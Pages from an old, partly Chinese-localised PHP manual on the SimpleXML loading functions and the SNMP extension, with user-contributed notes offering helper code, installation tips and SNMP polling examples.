simplexml_load_file -- Interprets an XML file into an object

Description

object simplexml_load_file ( string filename [, string class_name [, int options]] )

This function will convert the well-formed XML document in the file specified by filename to an object of class SimpleXMLElement. If any errors occur during file access or interpretation, the function returns FALSE.

You may use the optional class_name parameter so that simplexml_load_file() will return an object of the specified class. That class should extend the SimpleXMLElement class.

Since PHP 5.1.0 and Libxml 2.6.0, you may also use the options parameter to specify additional Libxml parameters.

注: Libxml 2 unescapes the URI, so if you want to pass e.g. b&c as the URI parameter a, you have to call simplexml_load_file(rawurlencode('http://example.com/?a=' . urlencode('b&c'))). Since PHP 5.1.0 you don't need to do this because PHP will do it for you.

例子 1. Interpret an XML document

<?php
// The file test.xml contains an XML document with a root element
// and at least an element /[root]/title.

if (file_exists('test.xml')) {
    $xml = simplexml_load_file('test.xml');

    var_dump($xml);
} else {
    exit('Failed to open test.xml.');
}
?>

This script will display, on success:

SimpleXMLElement Object
(
  [title] => Example Title
  ...
)

At this point, you can go about using $xml->title and any other elements.

See also: simplexml_load_string()

add a note add a note User Contributed Notes
Anonymous
07-Apr-2006 12:21
What has been found when using the script is that simplexml_load_file() will remove any HTML formating inside the XML file, and will also only load so many layers deep. If your XML file is to deap, it will return a boolean false.
fdouteaud at gmail dot com
09-Mar-2006 09:21
Be careful if you are using simplexml data directly to feed your MySQL database using MYSQLi and bind parameters.

The data coming from simplexml are Objects and the bind parameters functions of MySQLi do NOT like that! (it causes some memory leak and can crash Apache/PHP)

In order to do this properly you MUST cast your values to the right type (string, integer...) before passing them to the binding methods of MySQLi.
I did not find that in the documentation and it caused me a lot of headache.
info at evasion dot cc
07-Feb-2006 12:26
Sorry there's a mistake in the previous function :
<?php
   function &getXMLnode($object, $param) {
       foreach($object as $key => $value) {
           if(isset($object->$key->$param)) {
               return $object->$key->$param;
           }
           if(is_object($object->$key)&&!empty($object->$key)) {
               $new_obj = $object->$key;
               // Must use getXMLnode function there (recursive)
               $ret = getXMLnode($new_obj, $param);

           }
       }
       if($ret) return (string) $ret;
       return false;
   }
?>
Bart Verkoeijen
06-Feb-2006 01:30
No problems at all with CDATA:

Test.xml:
<?xml version="1.0" encoding="iso-8859-1"?>
<xml>
   <cdata><![CDATA[abc<br>abc]]></cdata>
</xml>

PHP Code:
<?php
$xml = simplexml_load_file( 'test.xml' );
echo $xml->cdata;
?>

Output:
> X-Powered-By: PHP/5.1.1
> Content-type: text/html
>
> abc<br>abc

The problem below is probably caused by incorrect syntax. It's "<![CDATA[]]>" instead of "<![CDATA []]>" (note the space).
skutter at imprecision dot net
04-Feb-2006 01:11
So it seems SimpleXML doesn't support CDATA... I bashed together this little regex function to sort out the CDATA before trying to parse XML with the likes of simplexml_load_file / simplexml_load_string. Hope it might help somebody and would be very interested to hear of better solutions. (Other than *not* using SimpleXML of course! ;)

It looks for any <![CDATA [Text and HTML etc in here]]> elements, htmlspecialchar()'s the encapsulated data and then strips the "<![CDATA [" and "]]>" tags out.

<?php
function simplexml_unCDATAise($xml) {
   $new_xml = NULL;
   preg_match_all("/\<\!\[CDATA \[(.*)\]\]\>/U", $xml, $args);

   if (is_array($args)) {
       if (isset($args[0]) && isset($args[1])) {
           $new_xml = $xml;
           for ($i=0; $i<count($args[0]); $i++) {
               $old_text = $args[0][$i];
               $new_text = htmlspecialchars($args[1][$i]);
               $new_xml = str_replace($old_text, $new_text, $new_xml);
           }
       }
   }

   return $new_xml;
}

//Usage:
$xml = 'Your XML with CDATA...';
$xml = simplexml_unCDATAise($xml);
$xml_object = simplexml_load_string($xml);
?>
info at evasion dot cc
03-Feb-2006 07:37
Suppose you have loaded a XML file into $simpleXML_obj.
The structure is like below :

SimpleXMLElement Object
(

   [node1] => SimpleXMLElement Object
       (
           [subnode1] => value1
           [subnode2] => value2
           [subnode3] => value3
       )

   [node2] => SimpleXMLElement Object
       (
           [subnode4] => value4
           [subnode5] => value5
           [subnode6] => value6
       )

)

When searching a specific node in the object, you may use this function :

<?php

   function &getXMLnode($object, $param) {
       foreach($object as $key => $value) {
           if(isset($object->$key->$param)) {
               return $object->$key->$param;
           }
           if(is_object($object->$key)&&!empty($object->$key)) {
               $new_obj = $object->$key;
               $ret = getCfgParam($new_obj, $param);
           }
       }
       if($ret) return (string) $ret;
       return false;
   }
?>

So if you want to get subnode4 value you may use this function like this :

<?php
$result = getXMLnode($simpleXML_obj, 'subnode4');
echo $result;
?>

It display "value4"
patrick at procurios dot nl
12-Jan-2006 10:46
simplexml_load_file creates an xml-tree with values that are UTF-8 strings. To convert them to the more common encoding
ISO-8859-1 (Latin-1), use "utf8_decode".
genialbrainmachine at NOSPAM dot tiscali dot it
30-Sep-2005 11:52
Micro$oft Word uses non-standard characters and they create problems in using simplexml_load_file.
Many systems include non-standard Word character in their implementation of ISO-8859-1. So an XML document containing that characters can appear well-formed (i.e.) to many browsers. But if you try to load this kind of documents with simplexml_load_file you'll have a little bunch of troubles..
I believe that this is exactly the same question discussed in htmlentites. Following notes to htmlentitles are interesting here too (given in the reverse order, to grant the history):
http://it.php.net/manual/en/function.htmlentities.php#26379
http://it.php.net/manual/en/function.htmlentities.php#41152
http://it.php.net/manual/en/function.htmlentities.php#42126
http://it.php.net/manual/en/function.htmlentities.php#42511
mark
13-Sep-2005 02:06
If the property of an object is empty the array is not created. Here is a version object2array that transfers properly.

function object2array($object)
{
   $return = NULL;

   if(is_array($object))
   {
       foreach($object as $key => $value)
           $return[$key] = object2array($value);
   }
   else
   {
       $var = get_object_vars($object);

       if($var)
       {
           foreach($var as $key => $value)
               $return[$key] = ($key && !$value) ? NULL : object2array($value);
       }
       else return $object;
   }

   return $return;
}
joelfielder at hotmail dot com
19-Jul-2005 11:01
In the object2array function posted above, the following data structure would be left unchanged:

Array
(
   [0] => Object Object
       (
           [var] => 1
       )

)

The simplexml_load_... functions return structures similar to the above, a simple example:

SimpleXMLElement Object
(
   [USERS] => Array
       (
           [0] => SimpleXMLElement Object
               (
                   [NAME] => Joel Fielder
                   [EMAIL] => joelfielder@hotmail.com
               )

       )

)

In order to store such information in the session, we have to convert all of the SimpleXMLElement objects present in the structure:

Array
(
   [USERS] => Array
       (
           [0] => Array
               (
                   [NAME] => Joel Fielder
                   [EMAIL] => joelfielder@hotmail.com
               )

       )

)

And here is the code to do so:

<?php
function object2array($object)
{
   $return = NULL;

   if(is_array($object))
   {
       foreach($object as $key => $value)
           $return[$key] = object2array($value);
   }
   else
   {
       $var = get_object_vars($object);

       if($var)
       {
           foreach($var as $key => $value)
               $return[$key] = object2array($value);
       }
       else
           return $object;
   }

   return $return;
}
?>
pa ul at sant a soft dot co m
12-Jul-2005 10:34
One thing to note about the object2array function from aleshru below...  this function doesn't handle CDATA fields (e.g. a poorly formed HTML formatted message.)  It just returns an empty array.

example XML:
--------------8<---------------
<note>
<subject>HTML Message Dude!</subject>
<content><![CDATA[ <B> this is some </b> CDATA data that is useful to handle or at
least see. <div> it doesn't matter that the HTML isn't properly </di>v opened or closed.

<br> the html content is still continuing!!]]></content>
</note>
--------------8<---------------

the simpleXML built in functionality seems to handle this just dandily however.

<?php

$object = simplexml_load_string($that_string_of_xml_above);
echo ((string) $object->content);

/*  OUTPUT:
 <B> this is some </b> CDATA data that is useful to handle or at
least see. <div> it doesn't matter that the HTML isn't properly </di>v opened or closed.

<br> the html content is still continuing!!
*/
?>

This object2array function does work well for the other types of xml content however.
aleshru at gmail dot com
28-May-2005 03:16
I've got function to convert SimpleXmlObject's to array.
<?php

function object2array ( $object )
{
   if ( !is_object ( $object ) )
     return $object;

   $return = array ();

   $var = get_object_vars ( $object );

   while ( list ( $k, $v ) = each ( $var ) )
     $return [ $k ] = object2array ( $v );
   return $return;
}

  class dummy{
     var $a = 1;
     var $b = 2;
     var $c = 3;
       function __construct(){
           $this->d = new dummy2();
       }
  }

  class dummy2{
       function __construct(){
                 $this->e = 'f';
                 $this->true = true;
                 $this->false = false;
                 $this->null = null;
                 $this->file = __FILE__;
       }
  }

  $object = new dummy;
  $arr = object2array($object);

  echo "<pre>";
  print_r($arr);
  echo "</pre>";
?>
add a note add a note

后退 | 起点 | 前进
simplexml_import_dom | 上一级 | simplexml_load_string


simplexml_load_string

(PHP 5)

simplexml_load_string -- Interprets a string of XML into an object

Description

object simplexml_load_string ( string data [, string class_name [, int options]] )

This function will take the well-formed xml string data and return an object of class SimpleXMLElement with properties containing the data held within the xml document. If any errors occur, it returns FALSE.

You may use the optional class_name parameter so that simplexml_load_string() will return an object of the specified class. That class should extend the SimpleXMLElement class.

Since PHP 5.1.0 and Libxml 2.6.0, you may also use the options parameter to specify additional Libxml parameters.

例子 1. Interpret an XML string

<?php
$string = <<<XML
<?xml version='1.0'?>
<document>
<title>Forty What?</title>
<from>Joe</from>
<to>Jane</to>
<body>
  I know that's the answer -- but what's the question?
</body>
</document>
XML;

$xml = simplexml_load_string($string);

var_dump($xml);
?>

This script will display:

SimpleXMLElement Object
(
  [title] => Forty What?
  [from] => Joe
  [to] => Jane
  [body] =>
   I know that's the answer -- but what's the question?
)

At this point, you can go about using $xml->body and such.

See also: simplexml_load_file().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
simplexml_load_file | 上一级 | SNMP 函数


SNMP 函数

PHP 手册
后退 前进

CXXXV. SNMP 函数

简介

需求

为了在 Unix 中使用 SNMP 函数，需要安装 NET-SNMP 包。在 Windows 中，这些函数只能用于 NT，而不能用于 Win95/98。

安装

重要提示：为了使用 UCD SNMP 包，需要在编译之前将 NO_ZEROLENGTH_COMMUNITY 定义为 1。 在配置 UCD SNMP 之后，编辑 config.h 或 acconfig.h，查找 NO_ZEROLENGTH_COMMUNITY，将 #define 所在行的注释去掉。修改后应该类似这样：
#define NO_ZEROLENGTH_COMMUNITY 1
然后使用 --with-snmp[=DIR] 选项编译 PHP。

如果在组合 SNMP 命令时看到奇怪的字段错误，那就是因为没有遵从上述说明。如果不想重新编译 UCD SNMP，可以使用 --enable-ucd-snmp-hack 开关编译 PHP 以绕开上述错误。

Windows 版本在目录 mibs 中包含了支持 SNMP 的文件。此目录应该移到 DRIVE:\usr\mibs，其中 DRIVE 是安装 PHP 所在的盘符，例如 c:\usr\mibs。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

SNMP_VALUE_LIBRARY (integer)

SNMP_VALUE_PLAIN (integer)

SNMP_VALUE_OBJECT (integer)

SNMP_BIT_STR (integer)

SNMP_OCTET_STR (integer)

SNMP_OPAQUE (integer)

SNMP_NULL (integer)

SNMP_OBJECT_ID (integer)

SNMP_IPADDRESS (integer)

SNMP_COUNTER (integer)

SNMP_UNSIGNED (integer)

SNMP_TIMETICKS (integer)

SNMP_UINTEGER (integer)

SNMP_INTEGER (integer)

SNMP_COUNTER64 (integer)

目录
snmp_get_quick_print -- 返回 UCD 库中 quick_print 设置的当前值
snmp_get_valueretrieval -- Return the method how the SNMP values will be returned
snmp_read_mib -- Reads and parses a MIB file into the active MIB tree
snmp_set_enum_print -- Return all values that are enums with their enum value instead of the raw integer
snmp_set_oid_numeric_print -- Return all objects including their respective object id within the specified one
snmp_set_quick_print -- 设置 UCD SNMP 库中 quick_print 的值
snmp_set_valueretrieval -- Specify the method how the SNMP values will be returned
snmpget -- 获取一个 SNMP 对象
snmpgetnext -- Fetch a SNMP object
snmprealwalk -- 返回指定的所有对象，包括它们各自的对象 ID
snmpset -- 设置一个 SNMP 对象
snmpwalk -- 从代理返回所有的 SNMP 对象
snmpwalkoid -- 查询关于网络实体的信息树

add a note add a note User Contributed Notes
1413 at blargh dot com
11-Nov-2005 05:29
For my purposes in PHP coding, I have the following SNMP options set, always.  These aren't documented very well in PHP's docs, but they make dealing with the SNMP results a LOT easier:

<?php
// Return back the numeric OIDs, instead of text strings.
snmp_set_oid_numeric_print(1);

// Get just the values.
snmp_set_quick_print(TRUE);

// For sequence types, return just the numbers, not the string and numbers.
snmp_set_enum_print(TRUE);

// Don't let the SNMP library get cute with value interpretation.  This makes
// MAC addresses return the 6 binary bytes, timeticks to return just the integer
// value, and some other things.
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
?>
Tim
03-Nov-2005 01:42
I had a problem getting mib errors on my php5 and IIS install.  Ended up adding an environmental variable to the Win2k box and that fixed it.  Had to add MIBDIRS=C:\PHP\extras\mibs

After I added this and booted the server I was no longer getting the errors.
ch at westend dot com
20-Oct-2005 03:57
For some devices one needs a string index, i.e.
  activeSessions.activeSession-inputOctets."ABC"

On commandline this is possible with the "-Ir" flag. PHP does not
seem to like it regardless of the quoting. Converting the string index to a numeric OID is quite simple though, it becomes:
  activeSessions.activeSession-inputOctets.3.41.42.43

function getNumericStringIndex($string_idx) {
     $string_idx = substr($string_idx, 1, strlen($string_idx)-2);
     $ret = strlen($string_idx);
     for ($i=0; $i<strlen($string_idx); $i++)
       $ret .= '.'.ord($string_idx[$i]);

     return $ret;
}
Jeroen Simonetti
13-Jun-2005 07:16
The listed functions here use snmp version 1. If you wish to use version 2c or 3, use the following functions:

snmp v2c functions:

snmp2_get (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_getnext (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_real_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_set (string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]])

snmp v3 functions:

snmp3_get (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
snmp3_getnext (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string pri)
snmp3_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_p)
snmp3_real_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string p)
snmp3_set (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
http://mike.eire.ca
30-Mar-2005 04:42
It seems obvious enough in retrospect, but it doesn't say it anywhere in the (rather poor) SNMP functions documentation.

You can use a non-standard port number in the hostname string.

<?php
$data=snmprealwalk('localhost:261','public',null);
?>
tom at tom420 dot cjb dot net
02-Sep-2004 03:52
As of Net-SNMP 5.1.2 the file config.h is now called acconfig.h. This is where you will find and uncomment the line
#define NO_ZEROLENGTH_COMMUNITY 1
as described in the manual above.

I've been looking for the file for about 20 minutes before I located it by the new name.
amit_gupta at users dot sourceforge dot net
16-Jul-2004 09:01
I was struggling to compile PHP 4.3.8/PHP-5 with net-snmp-5.1 RPMS .  It was continously showing errors during make. Later I first complied and installed net-snmp-5.1  on fedora system. With this compiled Net-snmp , I could install PHP 4.3.8/php5 successfully. So if you are also getting error during make command during installation of PHP, first compile net-snmp instaead of using its RPM.

Amit Gupta
peterd at nospam telephonetics co uk
16-Jun-2004 03:37
I've found that when using SNMP on Windows (2000 Pro) the drive the mib files have to be located on actually depends on where you subsequently call PHP from.

For example:
(Assume PHP is installed in c:\\php and the mibs are installed in c:\\usr\\mibs and you have a script c:\\test.php)
Open a command prompt at c:\\
Calling c:\\php\\cli\\php.exe c:\\test.php will work fine.
Change directory to d:\\
Execute c:\\php\\cli\\php.exe c:\\test.php will now cause an error about not finding mib files.

If you now copy the mibs to d:\\usr\\mibs and run the above command again, it will now work fine.

Effectively the drive the mibs has to be on is the same as the drive of the current working directory when you call PHP.

This isn't very useful at all, so after some digging around there seems to be an environment variable (MIBDIRS) you can set specifying where the MIBs are to be found.

After setting MIBDIRS=c:\\php\\mibs in the environment and placing the mibs there, everything seemed to work fine.

Note: If you need SNMP whilst using apache you may have to use the PassEnv command with MIBDIRS in your apache config, I haven't tried this yet.
Sean Boulter
09-Jun-2004 09:01
In addition to working on NT as the documentation says, SNMP works on XP if you have the snmp extensions enabled in the ph.ini file, point the ini file to the correct extensions folder, and copy the mibs from the full install package to c:\usr\mibs.
mcotner at mcotner dot com
25-Feb-2004 02:37
Hi all,
I had a need for mass polling of many devices and bulkgets were very desirable.  It turns out the change was simpler than I thought.

One word of warning, however.  The version is set in such a way that if I were to keep the changes to a minimum all operations that weren't v3 needed to be set to v2c.  This isn't a problem for us because we have no v1 specific devices.  If you're polling any v1 ONLY agents then you will have issues with this patch.

Here's the patch.  I hope this helps.

Just save it to /tmp/patch
cd ext/snmp/
patch snmp.c /tmp/patch

'njoy,
Mark

--- snmp.c    2003-08-07 12:44:11.000000000 -0400
+++ /tmp/snmp.c    2004-02-24 22:03:22.000000000 -0500
@@ -405,7 +405,11 @@
                 RETURN_FALSE;
             }
         } else if (st >= 2) {
-            pdu = snmp_pdu_create(SNMP_MSG_GETNEXT);
+            int reps = 20, non_reps = 0;
+
+            pdu = snmp_pdu_create(SNMP_MSG_GETBULK);
+            pdu->non_repeaters = non_reps;
+            pdu->max_repetitions = reps;    /* fill the packet */
             snmp_add_null_var(pdu, name, name_length);
         }

@@ -471,7 +475,7 @@
                             goto retry;
                         }
                     } else if (st >= 2) {
-                        if ((pdu = snmp_fix_pdu(response, SNMP_MSG_GETNEXT)) != NULL) {
+                        if ((pdu = snmp_fix_pdu(response, SNMP_MSG_GETBULK)) != NULL) {
                             goto retry;
                         }
                     }
@@ -579,7 +583,7 @@

     session.peername = hostname;
     session.remote_port = remote_port;
-    session.version = SNMP_VERSION_1;
+    session.version = SNMP_VERSION_2c;
     /*
     * FIXME: potential memory leak
     * This is a workaround for an "artifact" (Mike Slifcak)
thug at wolf359 dot cjb dot net
23-Apr-2002 03:06
Just a quick note on PHP SNMP instalation on Windows machines (IIS 5.x / Win2k SP2 etc...)
I had installed PHP into C:\PHP.. (standard stuff eh?)

Whilst I had followed the instructions for the installation of SNMP (put php_snmp.dll in extension_dir, uncomment entry in php.ini and all mib files located on the same drive where php was installed  (in this case c:\usr\mibs right?) I still ran into trouble like "Cannot find module (IP-MIB): At line 0 in (none)..." appearing on the bottom of every php that page I was viewing which existed on a drive other than C:\ drive...

It seams that the mibs dir (and content thereof) have to be located on every volume where a php file will be executed from.

For example :-
If you have a php file as "C:\INETPUB\WWWROOT\snmp1.php" then the coresponding "C:\USR\MIBS\*.*" has to be present (as mentioned in the install.txt).

Now here comes the catch...

If you have a "D:\INETPUB\PHPROOT\snmp1.php" file, then a copy of the mib files have to be in "D:\USR\MIBS\*.*" as well (the same mib files that are on the C:\ drive and same basic location <drive>:\USR\MIBS).

(Or in short : Copy the C:\USR dir (inc mibs dir) to *every* drive you intend to have .php files accessed from.  Done!)

Hope this helps other PHParians.

Keep up the *Great* work!!!
add a note add a note

后退 | 起点 | 前进
simplexml_load_string | 上一级 | snmp_get_quick_print


snmp_get_quick_print

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

snmp_get_quick_print -- 返回 UCD 库中 quick_print 设置的当前值

描述

bool snmp_get_quick_print ( void )

返回保存在 UCD 库中 quick_print 的当前值。默认情况下 quick_print 为 off。

例子 1. snmp_get_quick_print() 示例

<?php
  $quickprint = snmp_get_quick_print();
?>

如果 quick_print 为 off，上边的函数调用将返回 FALSE，而如果 quick_print 为 on，则返回 TRUE。

snmp_get_quick_print() 仅在使用了 UCD SNMP 库时才可用。当使用 Windows SNMP 库时，此函数不可用。

参见 snmp_set_quick_print() 查看 quick_print 的详细说明。

add a note add a note User Contributed Notes
antic
23-Feb-2003 09:13
This can be used to parse the returned values depending on the quick print setting. For example sysUpTime might look something like this: "Timeticks: (34575334) 4 days, 0:02:33.34", but if quick print is enabled it will be on the form: "4:0:2:33.34". To get the same output you can parse it differently, something like:

if(@ $sysUpTime = snmpget($switch,$community,"system.sysUpTime.0")){
   if(snmp_get_quick_print()){
       sscanf($sysUpTime, "%d:%d:%d:%d.%d",$day,$hour,$minute,$sec,$ticks);
       $sysUpTime = "$day days, $hour:$minute:$sec.$ticks";
   }else{
       $sysUpTime = ereg_replace("Timeticks: \([0-9]+\) ","",$sysUpTime);
   }
}
add a note add a note

后退 | 起点 | 前进
SNMP 函数 | 上一级 | snmp_get_valueretrieval


snmp_get_valueretrieval

(PHP 4 >= 4.3.3, PHP 5)

snmp_get_valueretrieval -- Return the method how the SNMP values will be returned

Description

int snmp_get_valueretrieval ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
snmp_get_quick_print | 上一级 | snmp_read_mib


snmp_read_mib

(PHP 5)

snmp_read_mib -- Reads and parses a MIB file into the active MIB tree

Description

bool snmp_read_mib ( string filename )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
ptitgal at hotmail dot com
28-Feb-2006 06:37
Importing massive Mibs located in a directory
<?php
/******************** Loading Mibs **************/
 $mib_path='YourPath';
 if ($handle = opendir($mib_path))
 { echo "Directory handle: $handle <br>";
   echo "Files: <br>";
   while (false !== ($file = readdir($handle)))
   { if($file!='.')
       { if($file!='..')
         { echo "Read : ";
           echo "$mib_path.$file";
           if(snmp_read_mib($mib_path.'\\'.$file)) echo " Succesful <br>";
           else echo " Failed <br>";
         }
       }
   }
}
closedir($handle);

?>
add a note add a note

后退 | 起点 | 前进
snmp_get_valueretrieval | 上一级 | snmp_set_enum_print


snmp_set_enum_print

(PHP 4 >= 4.3.0, PHP 5)

snmp_set_enum_print -- Return all values that are enums with their enum value instead of the raw integer

Description

void snmp_set_enum_print ( int enum_print )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
dbeecher at tekops dot com
16-Jun-2004 03:23
This function is only available if using NET_SNMP.  It is NOT available if using UCD_SNMP.  Likewise UCD_SNMP supports some behaviors that NET_SNMP does not.  (found limitation by looking in php snmp.c file)
add a note add a note

后退 | 起点 | 前进
snmp_read_mib | 上一级 | snmp_set_oid_numeric_print


snmp_set_oid_numeric_print

(PHP 4 >= 4.3.0, PHP 5)

snmp_set_oid_numeric_print -- Return all objects including their respective object id within the specified one

Description

void snmp_set_oid_numeric_print ( int oid_numeric_print )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
sepf at denkfehler dot org
09-Mar-2005 05:08
This function is only available if you are using Net-SNMP.
add a note add a note

后退 | 起点 | 前进
snmp_set_enum_print | 上一级 | snmp_set_quick_print


snmp_set_quick_print

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

snmp_set_quick_print -- 设置 UCD SNMP 库中 quick_print 的值

描述

void snmp_set_quick_print ( bool quick_print )

设置 UCD SNMP 库中 quick_print 的值。当此值被设置（1），SNMP 库将返回‘快速打印’值。这意味着将只打印值。当 quick_print 被禁用时（此为默认情况），UCD SNMP 库将打印出额外信息，包括值的类型（如 IpAddress 或 OID）。此外，如果 quick_print 是禁用的，UCD SNMP 库将为所有字符串额外打印出三个或更少字符的十六进制值。

当需要使用返回的信息而不是显示它时，经常会用到设置 quick_print。

<?php
snmp_set_quick_print(0);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a< br />\n";
snmp_set_quick_print(1);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a<br />\n";
?>

第一个打印出来的值可能时：'Timeticks: (0) 0:00:00.00'，然而当设置了 quick_print 之后，只是打印 '0:00:00.00'。

默认情况下 UCD SNMP 库返回冗余的值，而 quick_print 则用来只返回值。

现时，字符串依然返回额外的引号，这将会在后续发行版中更正。

snmp_set_quick_print() 仅在使用了 UCD SNMP 库时才可用。当使用 Windows SNMP 库时，此函数不可用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
snmp_set_oid_numeric_print | 上一级 | snmp_set_valueretrieval


snmp_set_valueretrieval

(PHP 4 >= 4.3.3, PHP 5)

snmp_set_valueretrieval -- Specify the method how the SNMP values will be returned

Description

void snmp_set_valueretrieval ( int method )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
david at eder dot us
25-Jun-2004 03:16
It appears that the possible method constants for this function are:

SNMP_VALUE_LIBRARY
SNMP_VALUE_PLAIN
SNMP_VALUE_OBJECT

If you are harvesting data you probably want SNMP_VALUE_PLAIN.
add a note add a note

后退 | 起点 | 前进
snmp_set_quick_print | 上一级 | snmpget


snmpget

(PHP 3, PHP 4, PHP 5)

snmpget -- 获取一个 SNMP 对象

描述

string snmpget ( string hostname, string community, string object_id [, int timeout [, int retries]] )

成功则返回 SNMP 的对象值，失败则返回 FALSE。

函数 snmpget() 用于读取由 object_id 指定的 SNMP 对象值。hostname 指定 SNMP 代理，而 community 参数指定具有读权限的域的名字。

<?php
$syscontact = snmpget("127.0.0.1", "public", "system.SysContact.0");
?>

add a note add a note User Contributed Notes
Jim
14-May-2006 10:52
Unfortunately, It appears that you can not put multiple objects into the snmpget function, ie: sysUpTime.0 ifInOctets.1 ifOutOctets.1.  For what it's worth, the time argument is in nano-seconds as previously mentioned.  There is a lot of conflicting information out there about this.
bbonev at php dot net
28-Feb-2006 11:14
about timeouts it turns out to be in nanoseconds e.g. for 1 second use value of 1 000 000
dstjohn-NO-SPAM at mediacast1 dot com
12-Sep-2005 05:16
2 year tidbit update :)

<?php
// author: dstjohn at mediacast1.com
// updated: 09-11-2005
// set some vars
$snmpcommunity = 'PUBLIC'; //snmp community name
$ips = 'test1.com,test2.com'; //ips or dns to get snmp data from
$system_number = '1';
//end da vars

//start da loop d loop
for ($i = 0; $i <= $system_number; $i++) {
$sysip = explode(",",$ips);

//get system name
$sysname[0] = snmpget($sysip[$i], $snmpcommunity, "sysName.0");
$sysname[1] = eregi_replace("STRING:","",$sysname[0]);
echo 'System Name: '.$sysname[1].'<br>';

//system description
$sysdesc[0] = snmpget($sysip[$i], $snmpcommunity, "sysDescr.0");
$sysdesc[1] = eregi_replace("STRING:","",$sysdesc[0]);
echo 'System Description: '.$sysdesc[1].'<br>';

//system location
$sysloc[0] = snmpget($sysip[$i], $snmpcommunity, "sysLocation.0");
$sysloc[1] = eregi_replace("STRING:","",$sysloc[0]);
echo 'System Location: '.$sysloc[1].'<br>';

//current tcp connections
$tcpcons[0] = snmpget($sysip[$i], $snmpcommunity, "tcpCurrEstab.0");
$tcpcons[1] = eregi_replace("Gauge32:","",$tcpcons[0]);
echo 'Open TCP/IP Connections: '.$tcpcons[1].'<br>';

//get system uptime
$sysuptime[0] = snmpget($sysip[$i], $snmpcommunity, "system.sysUpTime.0");
$sysuptime[1] = eregi_replace("Timeticks:","",$sysuptime[0]);
echo 'System Uptime: Timeticks -'.$sysuptime[1].'<br>';

//windows only
//installed memory
if(eregi('Windows',$sysdesc[1])){
$mem[0] = snmpget($sysip[$i], $snmpcommunity, "HOST-RESOURCES-MIB::hrMemorySize.0");
$mem[1] = eregi_replace("INTEGER:","",$mem[0]);
$mem[2] = eregi_replace("KBytes","",$mem[1]);
echo 'Insalled Memory: '.$mem[2].' KiloBytes<br>';
}

echo '<br><br>';
}//end loop

?>
cwevers at igeneration dot info
05-Jul-2005 06:22
I think it's MILLIseconds.

1000 ms =  1 sec
Johann Glaser
23-Feb-2004 04:39
It seems that for each snmpget() its own socket() will be opened. This is not closed after snmpget() finishes. Neither existing sockets are reused by subsequent snmpget() calls.

When querying a few switches with lots of ports the maximum file descriptor count of Apache is exhausted. Thus no more snmpget() are possible. Additionaly no more files can be read by this particular Apache process. Neither the PHP file, any include files nor any other files (like a .css file, ...).

This probably explains the observation of tkjode at phalnet dot com. Different to his case is that I'm using Linux.
dstjohn-NO-SPAM at mediacast1 dot com
23-Sep-2003 10:53
Little tidbit for snmpget function

<?php
//snmpget system stats
$host = 'localhost';
$community = 'public';

//get system name
$sysname = snmpget($host, $community, "system.sysName.0");

//get system uptime
$sysup = snmpget($host, $community, "system.sysUpTime.0");
$sysupre = eregi_replace("([0-9]{3})","",$sysup);
$sysupre2 = eregi_replace("Timeticks:","",$sysupre);
$sysupre3 = eregi_replace("[()]","",$sysupre2);

//get tcp connections
$tcpcon = snmpget($host, $community,"tcp.tcpCurrEstab.0");
$tcpconre = eregi_replace("Gauge32:","",$tcpcon);

echo '
System Name: '.$sysname.'<br>
System Uptime: '.$sysupre3.'<br>
Current Tcp Connections: '.$tcpconre.'<br>';

?>
javierb at gmx dot net
04-Jun-2003 11:08
pooling a cisco.

$ip = '1.1.1.1';
$community ='publico';
$a = snmpget($ip,$community, "IF-MIB::ifLastChange.1")
$b = snmpget($ip,$community, "IF-MIB::ifAlias.1");
print("a = ".$a."\n"."b = ".$b."\n");

a = Timeticks: (929969969) 107 days, 15:14:59.69
b = Timeticks: (929969969) 107 days, 15:14:59.69

when the interface has not description.
tkjode at phalnet dot com
13-Feb-2002 03:49
It has been observed on NT/2000 systems that flooding devices with SNMP requests will cause NT's SNMP service to stop working.

For example, I polled 183 switches on our network just fine.  I then attempted to simulate heavy traffic to that page by refreshing and breaking connections (as any real world system would have to go through).  SNMP stopped working throughout the entire machine, including non-PHP/Webserver processes.
grice at berbee dot com
25-Aug-2000 07:05
It looks like you can use a non-standard port for SNMP
with something like this:

$foo = snmpwalk('foo.bar.com:1161', 'foofoo', '.1.3.6');

This is on PHP 3.16; I haven't managed to get PHP 4.02 to compile successfully on Solaris 2.6 yet.
--Michael
add a note add a note

后退 | 起点 | 前进
snmp_set_valueretrieval | 上一级 | snmpgetnext


snmpgetnext

(PHP 5)

snmpgetnext -- Fetch a SNMP object

Description

string snmpgetnext ( string host, string community, string object_id [, int timeout [, int retries]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
snmpget | 上一级 | snmprealwalk


snmprealwalk

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

snmprealwalk -- 返回指定的所有对象，包括它们各自的对象 ID

描述

